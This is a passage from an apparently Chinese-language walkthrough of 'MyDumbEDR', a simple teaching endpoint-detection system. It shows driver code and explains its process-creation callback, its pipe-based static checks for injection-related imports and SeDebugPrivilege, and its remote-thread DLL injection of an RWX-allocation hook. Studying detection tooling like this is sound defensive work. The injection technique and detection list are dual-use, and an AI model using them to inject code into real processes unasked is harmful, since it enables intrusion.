  302.     NTSTATUS ret = PsSetCreateProcessNotifyRoutineEx(CreateProcessNotifyRoutine, FALSE);
  303.     if (ret == STATUS_SUCCESS) {
  304.         DbgPrintEx(DPFLTR_IHVDRIVER_ID, DPFLTR_ERROR_LEVEL, “[MyDumbEDR] Driver launched successfully\n”);
  305.     }
  306.     else if (ret == STATUS_INVALID_PARAMETER) {
  307.         DbgPrintEx(DPFLTR_IHVDRIVER_ID, DPFLTR_ERROR_LEVEL, “[MyDumbEDR] Invalid parameter\n”);
  308.     }
  309.     else if (ret == STATUS_ACCESS_DENIED) {
  310.         DbgPrintEx(DPFLTR_IHVDRIVER_ID, DPFLTR_ERROR_LEVEL, “[MyDumbEDR] Access denied\n”);
  311.     }
  312.     return 0;
  313. }

代码分析

首先把EDR跟静态分析和动态分析的EXE启动
  1. sc start MyDumbEDR
  2. analyze_static.exe
  3. MyDumbEDRRemoteInjector.exe
首先看驱动
首先设置驱动删除的回调
在删除回调中删除了驱动Dervice、SymbolLlink和设置CreateProcess的回调
设置驱动退出回调后,创建驱动设备与符号
最后是CreateProcess的回调设置
在回调中首先获得创建进程的PID、进程名、父进程、进程运行参数
接着判断如果进程名是ShellCodeInject.exe,就进入下一步。
如果参数是notepad.exe,禁止运行
如果参数不是notepad.exe,进入后续检查,第一个是静态检查模块
在静态检查中首先连接\\??\\pipe\\dumbedr-analyzer  PIPE。这个管道是静态检查的Agent创建的
连接之后将待检查的程序路径传过去,然后等待PIPE回信
这里去看静态检查Agent的analyze_static.exe代码
首先创建 \\??\\pipe\\dumbedr-analyzer  PIPE,就是刚刚驱动连接的管道
之后一个whlie(1)循环,等待从管道读取信息
读取信息后,第一个判断进程中有没有SeDebugPrivilege静态字符串
第二个查导入表,是否存在OpenProcess、VirtuallocEx、WriteProcessMemory、CreateRemoteThread四个函数
第三个查这个进程有没有微软签名
三个检查之后,如果是签名的程序就OK,如果存在静态字符或者危险的导入函数就KO。然后将结果通过管道传回给驱动
静态分析Agentanalyze_static.exe就结束了,驱动接收到管道传的值,如果是OK返回0,KO返回1
如果静态分析返回1,直接拦截,如果返回0,进入DLL注入
Dll注入跟静态分析类似,通过PIPE将数据发给Agent,然后阻塞等待返回
MyDumbEDRRemoteInjector.exe,也是一样先从PIPE里面拿到程序的PID,
然后通过远程线程注入,将DLL注入到进程中
注入完之后把,注入结果通过PIPE发送给驱动
接着看注入的Dll
DllMain里面CreateThread到Hook里面,判断申请内存是不是RWX,如果是就弹窗然后结束当前进程。
这就是最后的效果